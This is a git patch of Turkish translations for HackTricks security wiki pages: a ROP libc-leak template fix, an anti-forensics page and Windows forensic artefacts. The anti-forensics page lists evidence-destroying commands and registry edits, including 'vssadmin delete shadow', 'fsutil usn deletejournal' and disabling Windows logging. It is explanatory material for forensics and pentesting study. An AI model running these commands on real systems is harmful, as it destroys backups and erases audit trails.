From e6a783d0c9adc640214e32766805662894aea9bc Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 May 2024 15:12:16 +0000 Subject: [PATCH] Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ --- .../rop-leaking-libc-template.md | 18 +- .../anti-forensic-techniques.md | 61 +++-- .../windows-forensics/README.md | 219 +++++++++--------- .../image-acquisition-and-mount.md | 34 +-- .../glbp-and-hsrp-attacks.md | 61 +++-- .../pentesting-network/nmap-summary-esp.md | 150 ++++++------ .../phishing-methodology/clone-a-website.md | 47 +--- .../sensitive-mounts.md | 76 +++--- .../macos-gatekeeper.md | 114 ++++----- .../content-protocol.md | 40 ++-- .../install-burp-certificate.md | 54 ++--- .../android-app-pentesting/tapjacking.md | 41 ++-- .../ios-pentesting/ios-uipasteboard.md | 48 ++-- .../11211-memcache/memcache-commands.md | 83 +++---- .../4786-cisco-smart-install.md | 36 +-- network-services-pentesting/69-udp-tftp.md | 26 +-- .../pentesting-rpcbind.md | 46 ++-- network-services-pentesting/pentesting-sap.md | 82 +++---- .../pentesting-web/drupal.md | 48 ++-- .../pentesting-web/php-tricks-esp/README.md | 106 ++++----- .../pentesting-web/rocket-chat.md | 28 +-- .../pentesting-web/vmware-esx-vcenter....md | 28 +-- pentesting-web/cors-bypass.md | 178 +++++++------- pentesting-web/dependency-confusion.md | 52 ++--- pentesting-web/oauth-to-account-takeover.md | 118 ++++++---- pentesting-web/parameter-pollution.md | 36 +-- .../proxy-waf-protections-bypass.md | 42 ++-- pentesting-web/xxe-xee-xml-external-entity.md | 170 +++++++------- todo/more-tools.md | 41 ++-- .../flipper-zero/fz-125khz-rfid.md | 36 +-- .../abusing-ad-mssql.md | 51 ++-- .../ad-certificates/domain-escalation.md | 210 ++++++++--------- .../kerberos-double-hop-problem.md | 54 ++--- .../active-directory-methodology/laps.md | 40 ++-- .../over-pass-the-hash-pass-the-key.md | 32 +-- .../resource-based-constrained-delegation.md | 56 ++--- .../powerview.md | 34 ++- 37 files changed, 1323 insertions(+), 1273 deletions(-) diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index 9c3999d4c..85e44afcf 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -6,15 +6,15 @@ HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. -
+
{% embed url="https://websec.nl/" %} @@ -204,9 +204,9 @@ P.interactive() #Interact with your shell :) ``` {% endcode %} -## Sık Karşılaşılan Sorunlar +## Ortak problemler -### MAIN_PLT = elf.symbols\['main'] bulunamadı +### MAIN\_PLT = elf.symbols\['main'] bulunamadı Eğer "main" sembolü mevcut değilse (muhtemelen çıkarılmış bir ikili dosya olduğu için). O zaman sadece main kodunun nerede olduğunu bulabilirsiniz: ```python @@ -226,11 +226,11 @@ Eğer ikili dosya Puts kullanmıyorsa, **kullanıp kullanmadığını kontrol et Bu **hata**yı tüm saldırıyı oluşturduktan sonra bulursanız: `sh: 1: %s%s%s%s%s%s%s%s: not found` -**"/bin/sh" adresinden 64 bayt çıkarın**: +Deneyin **"/bin/sh" adresinden 64 bayt çıkarmayı**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` -
+
{% embed url="https://websec.nl/" %} diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 1f7aa3836..bd9e6faf4 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,42 +1,42 @@
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +Sıfırdan kahraman olmaya kadar AWS hackleme htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin**.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
-
+
{% embed url="https://websec.nl/" %} # Zaman Damgaları -Bir saldırgan, **dosyaların zaman damgalarını değiştirmek** isteyebilir.\ +Bir saldırgan, **dosyaların zaman damgalarını değiştirmek** isteyebilir ve tespit edilmekten kaçınabilir.\ Zaman damgalarını MFT içindeki `$STANDARD_INFORMATION` ve `$FILE_NAME` özniteliklerinde bulmak mümkündür. Her iki öznitelik de 4 zaman damgasına sahiptir: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değiştirme** (MACE veya MACB). -**Windows Gezgini** ve diğer araçlar, bilgileri **`$STANDARD_INFORMATION`** özniteliğinden gösterir. +**Windows gezgini** ve diğer araçlar, bilgileri **`$STANDARD_INFORMATION`** özniteliğinden gösterir. -## TimeStomp - Anti-forensic Aracı +## TimeStomp - Anti-forensik Aracı -Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli aktiviteleri tanımlamak mümkündür**. +Bu araç, zaman damgası bilgilerini **`$STANDARD_INFORMATION`** içinde **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli aktiviteyi tanımlamak mümkündür**. ## Usnjrnl -**USN Journal** (Güncelleme Sıra Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesine olanak tanır. +**USN Günlüğü** (Güncelleme Sıra Numarası Günlüğü), NTFS'nin (Windows NT dosya sistemi) bir özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesine olanak tanır. ![](<../../.gitbook/assets/image (449).png>) -Önceki görüntü, **araç** tarafından gösterilen **çıktıdır** ve dosyaya bazı **değişiklikler yapıldığı** görülebilir. +Önceki görüntü, **araç** tarafından gösterilen **çıktıdır** ve dosyaya bazı **değişikliklerin yapıldığı** görülebilir. ## $LogFile @@ -46,7 +46,7 @@ Bir dosya sistemindeki **tüm meta veri değişiklikleri**, [önceden yazma gün Yine, aracın çıktısında **bazı değişikliklerin yapıldığı** görülebilir. -Aynı araç kullanılarak **zaman damgalarının ne zaman değiştirildiği** belirlenebilir: +Aynı araç kullanılarak **zaman damgalarının ne zaman değiştirildiğini** belirlemek mümkündür: ![](<../../.gitbook/assets/image (451).png>) @@ -59,11 +59,11 @@ Aynı araç kullanılarak **zaman damgalarının ne zaman değiştirildiği** be Şüpheli değiştirilmiş dosyaları tanımlamanın başka bir yolu, her iki öznitelikteki zamanı karşılaştırarak **uyumsuzlukları** aramaktır. -## Nanosaniyeler +## Nanosaniye -**NTFS** zaman damgalarının **100 nanosaniye** hassasiyeti vardır. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyaların bulunması çok **şüphelidir**. +**NTFS** zaman damgalarının **100 nanosaniye** hassasiyeti vardır. Dolayısıyla, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyalar bulmak çok **şüphelidir**. -## SetMace - Anti-forensic Aracı +## SetMace - Anti-forensik Aracı Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren, bu bilgileri değiştirmek için canlı bir işletim sistemi gereklidir. @@ -75,17 +75,16 @@ Bu "gizli" alanda veri gizlemeyi sağlayan slacker gibi araçlar vardır. Ancak, ![](<../../.gitbook/assets/image (452).png>) -Dolayısıyla, FTK Imager gibi araçlar kullanılarak bu yarım alan alınabilir. Bu tür bir aracın içeriği şifreli veya hatta şifrelenmiş olarak kaydedebileceğini unutmayın. +Dolayısıyla, FTK Imager gibi araçlar kullanılarak bu yarım alanı kurtarmak mümkündür. Bu tür bir aracın içeriği şifreli veya hatta şifrelenmiş olarak kaydedebileceğini unutmayın. # UsbKill -Bu, USB bağlantı noktalarında herhangi bir değişiklik algılandığında bilgisayarı **kapatır**. - +Bu, **USB bağlantı noktalarında herhangi bir değişiklik algılandığında bilgisayarı kapatacak bir araçtır**.\ Bunu keşfetmenin bir yolu, çalışan işlemleri incelemek ve **çalışan her python betiğini gözden geçirmektir**. # Canlı Linux Dağıtımları -Bu dağıtımlar **RAM bellek içinde çalıştırılır**. NTFS dosya sistemi yazma izinleriyle bağlanmışsa, bunları tespit etmenin tek yolu budur. Sadece okuma izinleriyle bağlanılmışsa, sızma tespit edilemeyecektir. +Bu dağıtımlar **RAM bellek içinde yürütülür**. Bunları tespit etmenin tek yolu, NTFS dosya sisteminin yazma izinleriyle bağlandığı durumlardır. Salt okuma izinleriyle bağlandığında, sızma algılanamaz. # Güvenli Silme @@ -93,7 +92,7 @@ Bu dağıtımlar **RAM bellek içinde çalıştırılır**. NTFS dosya sistemi y # Windows Yapılandırması -Dijital delillerin incelenmesini zorlaştırmak için çeşitli Windows günlükleme yöntemlerini devre dışı bırakmak mümkündür. +Forensik incelemeyi zorlaştırmak için çeşitli Windows günlükleme yöntemlerini devre dışı bırakmak mümkündür. ## Zaman Damgalarını Devre Dışı Bırakma - UserAssist @@ -101,12 +100,12 @@ Bu, her bir yürütülebilir dosyanın kullanıcı tarafından çalıştırıld UserAssist'in devre dışı bırakılması için iki adım gereklidir: -1. UserAssist'in devre dışı bırakılmasını istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt defteri anahtarı sıfıra ayarlanır. +1. UserAssist'in devre dışı bırakılmasını istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt defteri anahtarı değerini sıfıra ayarlayın. 2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` gibi görünen kayıt defteri alt ağaçlarını temizleyin. ## Zaman Damgalarını Devre Dışı Bırakma - Prefetch -Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi saklar. Ancak, bu aynı zamanda dijital deliller için de faydalı olabilir. +Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi saklar. Ancak, bu aynı zamanda adli bilişim uygulamaları için de faydalı olabilir. * `regedit`i çalıştırın * Dosya yolunu seçin `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` @@ -116,37 +115,37 @@ Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uyg ## Zaman Damgalarını Devre Dışı Bırakma - Son Erişim Zamanı -Bir NTFS birimindeki bir klasör Windows NT sunucusunda açıldığında, sistem her listelenen klasörde **bir zaman damgası alanını günceller** ve buna son erişim zamanı denir. Yoğun kullanılan bir NTFS biriminde, bu performansı etkileyebilir. +Bir NTFS birimindeki bir klasör açıldığında, sistem her listelenen klasörde **bir zaman damgası alanını günceller** ve buna son erişim zamanı denir. Yoğun kullanılan bir NTFS biriminde, bu performansı etkileyebilir. 1. Kayıt Defteri Düzenleyici'yi (Regedit.exe) açın. 2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`'e göz atın. -3. `NtfsDisableLastAccessUpdate`'i arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır. +3. `NtfsDisableLastAccessUpdate`'i arayın. Var olmazsa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır. 4. Kayıt Defteri Düzenleyici'ni kapatın ve sunucuyu yeniden başlatın. ## USB Geçmişini Silme -Tüm **USB Aygıt Girişleri**, PC'nize veya Dizüstü Bilgisayarınıza bir USB Aygıtı takıldığında oluşturulan alt anahtarlar içeren **USBSTOR** kayıt defteri anahtarı altında Windows Kayıt Defterinde saklanır. Bu anahtarı burada bulabilirsiniz `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini silebilirsiniz.\ +Tüm **USB Aygıt Girişleri**, PC'nize veya Dizüstü Bilgisayarınıza bir USB Aygıtı takıldığında oluşturulan alt anahtarlar içeren **USBSTOR** kaydı altında Windows Kayıt Defterinde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini silebilirsiniz.\ Ayrıca [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını kullanarak bunları sildiğinizden emin olabilirsiniz (ve silmek için). USB'ler hakkında bilgi saklayan başka bir dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu da silinmelidir. -## Gölgeleri Devre Dışı Bırakma +## Gölge Kopyalarını Devre Dışı Bırakma -`vssadmin list shadowstorage` komutu ile gölgeleri **listele**\ +`vssadmin list shadowstorage` komutu ile gölge kopyaları **listele**\ Onları silmek için `vssadmin delete shadow` komutunu çalıştırın Ayrıca [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları takip ederek GUI üzerinden de silebilirsiniz. -Gölgeleri devre dışı bırakmak için [buradan adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin: +Gölge kopyalarını devre dışı bırakmak için [buradan adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin: 1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programını açın. 2. Listeden "Volume Shadow Copy" bulun, seçin ve ardından sağ tıklayarak Özelliklere erişin. -3. "Başlangıç türü" açılır menüsünden Devre Dışı seçin ve Değişikliği uygulamak ve Tamam'a tıklayarak değişikliği onaylayın. +3. "Başlangıç türü" açılır menüsünden Devre Dışı seçin ve ardından Değişiklikleri uygulamak ve Tamam'a tıklayarak değişikliği onaylayın. -Ayrıca hangi dosyaların gölge kopyasına kopyalanacağının yapılandırmasını kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` bölümünden değiştirmek mümkündür. +Ayrıca hangi dosyaların gölge kopyasının alınacağının yapılandırmasını kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` değiştirme olasılığı vardır. ## Silinen Dosyaları Üzerine Yazma -* `cipher /w:C` komutunu kullanarak **Windows aracını** kullanabilirsiniz: Bu, cipher'a C sürücüsü içindeki kullanılmayan disk alanından tüm verileri kaldırmasını söyler. +* `cipher /w:C` komutunu kullanarak **Windows aracını** kullanabilirsiniz: Bu, C sürücüsündeki kullanılmayan disk alanından verileri kaldırması için cipher'a işaret eder. * [**Eraser**](https://eraser.heidi.ie) gibi araçları da kullanabilirsiniz ## Windows Olay Günlüklerini Silme @@ -165,6 +164,6 @@ Ayrıca hangi dosyaların gölge kopyasına kopyalanacağının yapılandırmas * `fsutil usn deletejournal /d c:` -
+
{% embed url="https://websec.nl/" %} diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 535b7c2a5..577d5a0a1 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,26 +1,26 @@ -# Windows Sanat Eserleri +# Windows Sanal Varlıklar -## Windows Sanat Eserleri +## Windows Sanal Varlıklar
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
{% embed url="https://websec.nl/" %} -## Genel Windows Sanat Eserleri +## Genel Windows Sanal Varlıklar ### Windows 10 Bildirimleri @@ -32,22 +32,25 @@ Bu SQLite veritabanı içinde, ilginç veriler içerebilecek tüm bildirimleri ( Zaman Çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve yürütülen uygulamaların **zamansal tarihçesini** sağlayan bir Windows özelliğidir. -Veritabanı `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve 2 dosya oluşturur, bu dosyalar [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir.** +Veritabanı `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve 2 dosya oluşturur, bu dosyalar [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir**. ### ADS (Alternatif Veri Akışları) -İndirilen dosyalar, nasıl indirildiğini gösteren **ADS Zone.Identifier**'ı içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın nereden indirildiği gibi **daha fazla bilgi** ekler. +İndirilen dosyalar, nasıl indirildiğini gösteren **ADS Zone.Identifier**'ı içerebilir, intranet, internet vb. Dosyanın nereden indirildiğini gösteren **URL** gibi **daha fazla bilgi** içeren bazı yazılımlar (örneğin tarayıcılar) genellikle ekler. ## **Dosya Yedekleri** ### Geri Dönüşüm Kutusu -Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde (`C:\$Recycle.bin`) bulunan **`$Recycle.bin`** klasöründe bulunabilir.\ +Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu** sürücünün kökünde (`C:\$Recycle.bin`) bulunabilir. + Bu klasörde bir dosya silindiğinde 2 belirli dosya oluşturulur: -* `$I{id}`: Dosya bilgisi (ne zaman silindiği tarihi} +* `$I{id}`: Dosya bilgisi (ne zaman silindiği) * `$R{id}`: Dosyanın içeriği +![](<../../../.gitbook/assets/image (486).png>) + Bu dosyaları kullanarak silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista - Win10 için `rifiuti-vista.exe` kullanın). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle @@ -58,11 +61,11 @@ Bu dosyaları kullanarak silinen dosyaların orijinal adresini ve silindiği tar Gölge Kopyası, kullanımda oldukları zaman bile bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen Microsoft Windows'a dahil edilmiş bir teknolojidir. -Bu yedeklemeler genellikle dosya sisteminin kökündeki `\System Volume Information` içinde bulunur ve adları aşağıdaki görüntüde gösterilen **UID'lerden** oluşur: +Bu yedeklemeler genellikle dosya sisteminin kökündeki `\System Volume Information` dizininde bulunur ve adları aşağıdaki görüntüde gösterilen **UID'lerden** oluşur: ![](<../../../.gitbook/assets/image (520).png>) -Forensik imajı **ArsenalImageMounter** ile bağlayarak, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) aracı bir gölge kopyasını incelemek ve hatta gölge kopya yedeklemelerinden **dosyaları çıkarmak** için kullanılabilir. +Forensik imajı **ArsenalImageMounter** ile bağlayarak, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) aracı bir gölge kopyasını incelemek ve hatta gölge kopya yedeklerinden **dosyaları çıkarmak** için kullanılabilir. ![](<../../../.gitbook/assets/image (521).png>) @@ -82,29 +85,29 @@ Bir kabuk öğesi, başka bir dosyaya erişim bilgilerini içeren bir öğedir. ### Son Belgeler (LNK) -Windows **otomatik olarak** bu **kısayolları oluşturur** kullanıcı bir dosyayı **açtığında, kullanıldığında veya oluşturduğunda**: +Windows, kullanıcı **bir dosyayı açtığında, kullanırken veya oluşturduğunda** bu **kısayolları otomatik olarak oluşturur**: * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -* Ofis: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` +* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı oluşturulur. +Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur. -Bu otomatik olarak oluşturulan bağlantı dosyaları, **köken hakkında bilgi içerir** eğer bir **dosya** **ise** veya bir **klasör** **ise**, dosyanın **MAC** **zamanları**, dosyanın nerede depolandığına dair **hacim bilgileri** ve **hedef dosyanın klasörü**. Bu bilgiler, silinmiş olsalar bile bu dosyaları kurtarmak için faydalı olabilir. +Bu otomatik olarak oluşturulan bağlantı dosyaları, köken hakkında bilgi içerir, dosya mı yoksa klasör mü olduğu, o dosyanın **MAC zamanları**, dosyanın nerede depolandığına dair **hacim bilgileri** ve **hedef dosyanın klasörü**. Bu bilgiler, silinmiş olsalar bile bu dosyaları kurtarmak için faydalı olabilir. -Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı zaman** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın **en son** **kullanıldığı zaman** olarak belirlenir. +Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk kez kullanıldığı zaman** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın **en son ne zaman kullanıldığı** zamanıdır. -Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz. +Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) aracını kullanabilirsiniz. -Bu araçlarda **2 set** zaman damgası bulacaksınız: +Bu araçta **2 set** zaman damgası bulacaksınız: * **İlk Set:** -1. DosyaDeğiştirmeTarihi -2. DosyaErişimTarihi -3. DosyaOluşturmaTarihi +1. Dosya Değiştirme Tarihi +2. Dosya Erişim Tarihi +3. Dosya Oluşturma Tarihi * **İkinci Set:** -1. BağlantıDeğiştirmeTarihi -2. BağlantıErişimTarihi -3. BağlantıOluşturmaTarihi. +1. Bağlantı Değiştirme Tarihi +2. Bağlantı Erişim Tarihi +3. Bağlantı Oluşturma Tarihi. İlk zaman damgası seti **dosyanın zaman damgalarına** referans verir. İkinci set, **bağlı dosyanın zaman damgalarına** referans verir. @@ -114,19 +117,15 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` ### Jumplists -Bu durumda, bilgiler bir CSV dosyasında saklanacak. +Bu, her uygulama için gösterilen son dosyalardır. **Uygulama tarafından kullanılan son dosyaların listesi**'dir ve her uygulamada erişebileceğiniz bir listedir. Bunlar **otomatik olarak oluşturulabilir veya özel olabilir**. -**Jumplists** +Otomatik oluşturulan **jumplist'ler**, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` dizininde saklanır. Jumplist'ler, başlangıç ​​ID'si uygulamanın ID'si olan `{id}.autmaticDestinations-ms` formatını takip eder. -Bunlar, her uygulama için gösterilen son dosyalardır. **Bir uygulama tarafından kullanılan son dosyaların listesi**'dir ve her uygulamada erişebileceğiniz listedir. Bunlar **otomatik olarak oluşturulabilir veya özelleştirilebilir**. +Özel jumplist'ler, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` dizininde saklanır ve genellikle uygulama tarafından dosya ile ilgili bir şeyin **önemli** olduğu belirtildiğinde oluşturulur (belki favori olarak işaretlenmiştir). -Otomatik olarak oluşturulan **jumplists**, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` dizininde saklanır. Jumplists, başlangıç ​​ID'si uygulamanın ID'si olan `{id}.autmaticDestinations-ms` formatını takip eden şekilde adlandırılır. +Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **erişildiği ilk zamanı** gösterir ve **değiştirilme zamanı** ise son zamanı gösterir. -Özel jumplists, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` dizininde saklanır ve genellikle uygulama tarafından dosya ile ilgili **önemli bir şey** olduğunda oluşturulur (belki favori olarak işaretlenmiştir). - -Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **erişildiği ilk zamanı** gösterir ve **değiştirilme zamanı** en son zamanı gösterir. - -[JumplistExplorer](https://ericzimmerman.github.io/#!index.md) kullanarak jumplists'leri inceleyebilirsiniz. +[JumplistExplorer](https://ericzimmerman.github.io/#!index.md) kullanarak jumplist'leri inceleyebilirsiniz. ![](<../../../.gitbook/assets/image (474).png>) @@ -140,9 +139,9 @@ Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **erişildiği ilk Bir USB cihazının kullanıldığını belirlemek mümkündür çünkü şunlar oluşturulur: -* Windows Recent Klasörü -* Microsoft Office Recent Klasörü -* Jumplists +* Windows Son Klasörü +* Microsoft Office Son Klasörü +* 